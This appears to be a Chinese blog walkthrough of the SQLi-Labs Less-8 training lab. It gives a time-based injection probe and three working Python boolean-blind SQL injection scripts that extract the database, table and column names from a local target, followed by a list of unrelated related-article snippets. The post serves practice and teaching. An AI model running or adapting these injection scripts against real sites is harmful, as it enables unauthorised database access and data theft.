sqlilabs第八关
?id=1' and sleep(2)--+
发现页面存在注点,使用时间盲注脚本进行注入---
import requestsdef inject_database(url):name = '' #name用于存储猜测出的数据库名称 for i in range(1, 20): # 假设数据库名称长度不超过20low = 48 # '0'high = 122 # 'z'middle = (low + high) // 2 /*low, high, middle 用于二分查找(内层循环使用二分查找法猜测每个字符的ASCII值)*/while low < high:#构造Payload: payload是SQL注入的有效载荷,尝试猜测当前字符的ASCII值payload = "1' and ascii(substr(database(),%d,1))>%d-- " % (i, middle)params = {"id": payload}r = requests.get(url, params=params) # 判断注入是否成功,依据靶场的返回信息if 'You are in' in r.text: # 只检查包含 "You are in" 的内容,表示成功low = middle + 1else:high = middlemiddle = (low + high) // 2 # 只拼接有效字符,跳过空格(ASCII 32)和其他非打印字符if middle > 32: # 跳过空格和不可打印字符name += chr(middle)print(f"Current database name: {name}")low = 48high = 122middle = (low + high) // 2print(f"Final database name: {name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php"inject_database(url)
用一个布尔盲注攻击,从数据库中提取表名
-循环遍历表名的每个字符
-二分查找法:通过ASCII码范围(48到122)进行二分查找,确定每个字符的值
-构造SQL注入Payload:利用substr函数和ascii函数逐字符比较表名的ASCII值
-发送请求并判断结果
-跳过空格和非打印字符:只拼接有效的字符
import requestsdef inject_table_name(url, database_name):table_name = ''for i in range(1, 20): low = 48 # '0'high = 122 # 'z'middle = (low + high) // 2while low < high:# payloadpayload = f"1' and ascii(substr((select table_name from information_schema.tables where table_schema='{database_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text: low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32: # 跳过空格和不可打印字符table_name += chr(middle)print(table_name)low = 48high = 122middle = (low + high) // 2print(f"Final table name: {table_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php" database_name = "security" # 目标数据库名称inject_table_name(url, database_name)
通过payload猜测数据库表的列名
import requestsdef inject_column_name(url, database_name, table_name):column_name = ''for i in range(1, 20): low = 48 # '0'high = 122 # 'z'middle = (low + high) // 2while low < high:payload = f"1' and ascii(substr((select column_name from information_schema.columns where table_schema='{database_name}' and table_name='{table_name}' limit 0,1),{i},1))>{middle}-- "params = {"id": payload}r = requests.get(url, params=params)if 'You are in' in r.text: low = middle + 1else:high = middlemiddle = (low + high) // 2if middle > 32: column_name += chr(middle)print(column_name)low = 48high = 122middle = (low + high) // 2print(f"Final column name: {column_name}")if __name__ == "__main__":url = "http://127.0.0.1/sqlilabs7/Less-8/index.php" database_name = "security" table_name = "users" # 目标表名inject_column_name(url, database_name, table_name)
相关文章:
sqlilabs第八关
?id1 and sleep(2)-- 发现页面存在注点,使用时间盲注脚本进行注入--- import requestsdef inject_database(url):name #name用于存储猜测出的数据库名称 for i in range(1, 20): # 假设数据库名称长度不超过20low 48 # 0high 122 # zmiddle (low high…...
基于HAL库的按钮实验
实验目的 掌握STM32 HAL库的GPIO输入配置方法。 实现通过按钮控制LED亮灭(支持轮询和中断两种模式)。 熟悉STM32CubeMX的外部中断(EXTI)配置流程。 实验硬件 开发板:STM32系列开发板(如STM32F103C8T6、N…...
DeepSeek 突然来袭,AI 大模型变革的危机与转机藏在哪?
随着人工智能技术的飞速发展,大模型领域不断涌现出具有创新性的成果。DeepSeek 的横空出世,为 AI 大模型领域带来了新的变革浪潮。本文将深入探讨 DeepSeek 出现后 AI 大模型面临的危机与转机。 冲冲冲!!! 目录 一、…...
prompt技术结合大模型 生成测试用例
要利用prompt技术结合大模型对目标B/S架构软件系统进行测试,以下以使用Python调用OpenAI的GPT模型进行功能测试用例生成,再借助Selenium库执行测试为例,给出一个完整的实现示例。 前提条件 安装依赖库:你需要安装openai和selenium库,可以使用以下命令进行安装:pip insta…...
【C++ 真题】P2920 [USACO08NOV] Time Management S
P2920 [USACO08NOV] Time Management S 题目描述 Ever the maturing businessman, Farmer John realizes that he must manage his time effectively. He has N jobs conveniently numbered 1…N (1 < N < 1,000) to accomplish (like milking the cows, cleaning the …...
pip安装指定版本的包
个人博客地址:pip安装指定版本的包 | 一张假钞的真实世界 使用以下命令安装指定版本的包: # pip install pyspark2.3.3...
【pytest】获取所有用例名称并存于数据库
数据库操作包,引用前面创建的py文件,【sqlite】python操作sqlite3(含测试) #!/usr/bin/env python # -*- coding: utf-8 -*- # Time : 2025-02-11 8:45 # Author : duxiaowei # File : get_filename.py # Software: 这个文…...
Java中原子操作的实现原理
目录 一、处理器如何实现原子操作? 1.使用总线锁保证原子性 1.使用缓存锁保证原子性 二、Java如何实现原子操作? 1)使用循环CAS实现原子操作 2)CAS实现原子操作的三大问题 3)使用锁机制实现原子操作 前言 原子&…...
25农村发展研究生复试面试问题汇总 农村发展专业知识问题很全! 农村发展复试全流程攻略 农村发展考研复试真题汇总
农村发展复试当然有好的建议!前提是复试重点面试题背好! 你是不是也在为农村发展考研复试发愁?担心自己准备不充分、表现不好?别急!今天,学姐——复试面试拿下90分成功上岸的学姐,来给大家分享…...
一维前缀和与二维前缀和
前缀和(Prefix Sum)是一种用于高效计算数组区间和的预处理技术,尤其适用于需要频繁查询子数组或子矩阵和的场景。下面详细讲解一维前缀和与二维前缀和的原理、构建方法及应用。 一、一维前缀和 1. 定义 前缀和数组 prefix 的每个元素 prefi…...
3×2 MIMO系统和2×2 MIMO系统对比
从 SVD(奇异值分解)预编码 的角度分析,32 MIMO 系统相比 22 MIMO 系统在容量、功率分配灵活性和抗干扰能力方面具有潜在优势。以下是具体分析: 1. SVD预编码的基本原理 SVD 预编码是一种基于信道状态信息(CSI…...
【MySQL — 数据库基础】深入解析 MySQL 的联合查询
1. 插入查询结果 语法 insert into table_name1 select* from table_name2 where restrictions ;注意:查询的结果集合,列数 / 类型 / 顺序 要和 insert into 后面的表相匹配;列的名字不要求相同; create table student1(id int , …...
【医院运营统计专题】3.解码医院运营统计:目标、原则与未来蓝图
医院成本核算、绩效管理、运营统计、内部控制、管理会计专题索引 一、医院运营统计的关键意义 在医疗行业持续发展与变革的大背景下,医院运营统计作为医院管理的关键组成部分,其重要性愈发凸显。从国内医院的普遍现状来看,运营统计已深度融入日常管理,为医院的有序运转提…...
Ubuntu 下 nginx-1.24.0 源码分析 - ngx_atomic_cmp_set 函数
目录 修正 执行 ./configure 命令时,输出: checking for OS Linux 6.8.0-52-generic x86_64 checking for C compiler ... found using GNU C compiler gcc version: 11.4.0 (Ubuntu 11.4.0-1ubuntu1~22.04) 所以当前环境是 x86_64 于是在 src…...
CNN-BiLSTM卷积神经网络双向长短期记忆神经网络多变量多步预测,光伏功率预测
代码地址:CNN-BiLSTM卷积神经网络双向长短期记忆神经网络多变量多步预测,光伏功率预测 CNN-BiLSTM卷积神经网络双向长短期记忆神经网络多变量多步预测 一、引言 1.1、研究背景和意义 光伏功率预测在现代电力系统中占有至关重要的地位。随着可再生能源…...
【YOLO系列】YOLOv5 NMS源码理解、更换为DIoU-NMS
代码来源:GitHub - ultralytics/yolov5: YOLOv5 🚀 in PyTorch > ONNX > CoreML > TFLite 使用的代码是YOLOv5 6.1版本 参考笔记:YOLOv5改进系列(八) 更换NMS非极大抑制DIoU-NMS、CIoU-NMS、EIoU-NMS、GIoU-NMS 、SIoU-NMS、Soft-…...
Android RenderEffect对Bitmap高斯模糊(毛玻璃),Kotlin(1)
Android RenderEffect对Bitmap高斯模糊(毛玻璃),Kotlin(1) import android.graphics.Bitmap import android.graphics.BitmapFactory import android.graphics.HardwareRenderer import android.graphics.PixelFormat import android.graphic…...
【linux学习指南】线程同步与互斥
文章目录 📝线程互斥🌠 库函数strncpy🌉进程线程间的互斥相关背景概念🌉互斥量mutex 🌠线程同步🌉条件变量🌉同步概念与竞态条件🌉 条件变量函数 🚩总结 📝线…...
JavaScript函数与方法详解
目录 一、函数的定义 1. 函数声明 2. 函数表达式 3. 箭头函数 二、函数的调用 1. 调用方式 2. 参数数量的灵活性 三、arguments 对象 1. 基本概念 2. 属性 3. 应用场景 4. 转换为真数组 5. 总结 四、Rest参数 1. 基本概念 2. 特点 3. 应用场景 4. 总结 五、变…...
【论文笔记】ZeroGS:扩展Spann3R+GS+pose估计
spann3r是利用dust3r做了增量式的点云重建,这里zeroGS在前者的基础上,进行了增量式的GS重建以及进行了pose的联合优化,这是一篇dust3r与GS结合的具有启发意义的工作。 abstract NeRF和3DGS是重建和渲染逼真图像的流行技术。然而,…...
如何免费获取全球50+图书馆古籍资源:BookGet数字古籍下载完整指南
如何免费获取全球50图书馆古籍资源:BookGet数字古籍下载完整指南 【免费下载链接】bookget bookget 数字古籍图书下载工具。 项目地址: https://gitcode.com/gh_mirrors/bo/bookget 还在为寻找古籍文献而烦恼吗?想要从哈佛、国会图书馆等全球知名…...
别再死记硬背关键帧了!用Blender 2.83.9的Rigify,带你拆解走路动画的物理原理(附膝跳问题修复)
别再死记硬背关键帧了!用Blender 2.83.9的Rigify,带你拆解走路动画的物理原理(附膝跳问题修复) 当你第一次尝试用Blender制作走路动画时,是否遇到过这样的困境:明明按照教程一步步设置了关键帧,…...
混合原型验证:软硬件协同的芯片设计革命
1. 混合原型验证:从割裂到统一的芯片设计革命在芯片设计的漫长周期里,硬件工程师和软件工程师常常像是在两个平行世界里工作。硬件团队埋头于RTL编码、综合、布局布线,最终将设计烧录进FPGA原型板,进行物理层面的调试和性能测试。…...
故障排查实录:i40e网卡队列超时引发的虚拟机网络中断
1. 故障现象与初步排查 那天早上刚到办公室,就接到业务部门的紧急电话:"虚拟机上的Web服务突然无法访问了!"作为运维工程师,这种网络中断的报修电话总是让人心头一紧。我立即登录到KVM宿主机,发现两台虚拟机…...
Codex客户端Mac低版本安装解决方法
Codex客户端Mac低版本安装解决方法 关键词:Codex客户端安装、Mac系统版本过低、无法安装Codex、Mac兼容性问题解决、Codex客户端下载、Mac软件安装失败 在实际开发环境里,很多工具对 macOS 版本都有最低要求限制。最近在本地尝试安装 Codex 客户端时&am…...
Docker Desktop 磁盘空间占用过大?手把手教你彻底瘦身
前言 很多使用 Docker Desktop for Windows 的同学都会遇到一个头疼的问题:明明没有拉取多少镜像,Docker 却占用了几十甚至上百 GB 的磁盘空间。更让人困惑的是,执行了 docker system prune 清理命令后,磁盘空间完全没有变化&…...
终极指南:如何解决FanControl风扇突然“隐身“问题 - 快速恢复硬件识别的完整教程
终极指南:如何解决FanControl风扇突然"隐身"问题 - 快速恢复硬件识别的完整教程 【免费下载链接】FanControl.Releases This is the release repository for Fan Control, a highly customizable fan controlling software for Windows. 项目地址: http…...
从零搭建生产级LLM API服务:架构设计、部署与性能调优实战
1. 项目概述与核心价值 最近在折腾大语言模型本地部署和API服务搭建的朋友,估计都绕不开一个词:文档。不是模型本身的论文,而是那些能把复杂技术栈串起来、让你从“能跑起来”到“能稳定用起来”的操作指南。我关注到 GitHub 上一个名为 var…...
从原理到实践:液压与气压传动核心概念与应用场景解析
1. 液压与气压传动的核心原理 液压与气压传动是现代工业中广泛应用的动力传输方式,它们虽然介质不同,但都遵循着相似的物理原理。液压系统使用不可压缩的液体(通常是液压油)作为工作介质,而气压系统则使用可压缩的空气…...
AI工具搭建自动化视频生成Quick Sync
# Quick Sync:AI驱动的自动化视频生成技术实战解析 前阵子团队接了个批量短视频生成的项目,要在短时间内产出数百条产品演示视频。一开始想着一个个用Premiere剪,但算算时间,光是渲染就够呛。后来试用了几种自动化方案,…...
